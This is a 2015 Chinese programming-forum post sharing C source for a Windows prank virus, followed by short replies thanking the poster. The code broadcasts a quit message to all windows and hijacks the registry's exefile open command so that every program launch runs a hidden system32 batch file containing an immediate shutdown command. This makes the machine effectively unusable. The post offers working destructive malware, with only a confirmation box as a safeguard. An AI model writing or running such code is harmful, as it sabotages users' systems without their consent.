黑马程序员技术交流社区

标题: C语言--开机自动关机 [打印本页]

作者: strongfish    时间: 2015-7-16 07:00
标题: C语言--开机自动关机
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <tchar.h>
  5. int main()
  6. {        
  7.         FILE *fp;//我们先定义一个文件指针,因为后面要创建批处理文件
  8.         
  9.         HKEY mykey;//因为需要用到注册表,所以我们来定义一个HKEY变量来保存要打开健的句柄
  10.         
  11.         int i,res;//这两个变量 I是用来保存我们要存入注册表的数据的大小 为后来的API函数服务
  12.         
  13.         res = MessageBox(NULL,TEXT("病毒即将开始攻击您的系统"),TEXT("来自yaomianfa的温馨提示"),MB_YESNO);//做一个保险
  14.         
  15.         if(res==IDYES)//如果用户点击了YES则执行病毒 否则退出程序,当然保险可以删掉
  16.         
  17.         {
  18.         PostMessage(HWND_BROADCAST,WM_QUIT,0,0);//把退出的消息寄送到系统的所有顶层窗口,包括无效或不可见的非自身拥有的窗口、 被覆盖的窗口和弹出式窗口
  19.         
  20.         TCHAR szPath[MAX_PATH]={0},shutdown[20]="shutdown -s -t 0";//定义两个字符数组 用来保存文件路径和批处理命令
  21.         
  22.         strcpy(szPath,"C:\\WINDOWS\\system32\\untfs.bat");//将文件路径保存到变量szpath中
  23.         
  24.         i=strlen(szPath);//计算变量的字节大小存入变量i中
  25.         
  26.         RegOpenKeyEx(HKEY_CLASSES_ROOT, "exefile\\shell\\open\\command", 0, KEY_ALL_ACCESS, &mykey);//打开我们要修改的键值
  27.         
  28.         RegSetValueEx(mykey, NULL, 0, REG_SZ,szPath,i);//将我们要修改的内容写入注册表中
  29.         
  30.         fp=fopen("C:\\WINDOWS\\system32\\untfs.bat","w");//创建我们的批处理文件
  31.         
  32.         fwrite(shutdown,strlen(shutdown),1,fp);//向批处理文件写入关机命令
  33.         
  34.         system("@echo off");//调用系统命令关闭回显 使我们输入的结果不会显示在命令行上
  35.         
  36.         system("attrib C:\\WINDOWS\\system32\\untfs.bat +h +r +s "); //attrib这个命令为我们的批处理加上了一些属性 h是隐藏属性,r是只读属性,s是系统文件属性
  37.         }
  38.         else return 0;
  39.         return 0;
  40. }
复制代码

作者: ylxkab    时间: 2015-7-16 10:07
小白来学习了,感谢分享!
作者: jinlong129    时间: 2015-7-16 10:28
在设置个定时关机  
作者: 姜赛    时间: 2015-7-16 11:31
不错,感谢楼主分享!
作者: zhuhoulin    时间: 2015-7-16 11:34
感谢分享
作者: 你说呢    时间: 2015-7-16 11:58
功能如此强大,,,视频才看到第十天呢




欢迎光临 黑马程序员技术交流社区 (http://bbs.itheima.com/) 黑马程序员IT技术论坛 X3.2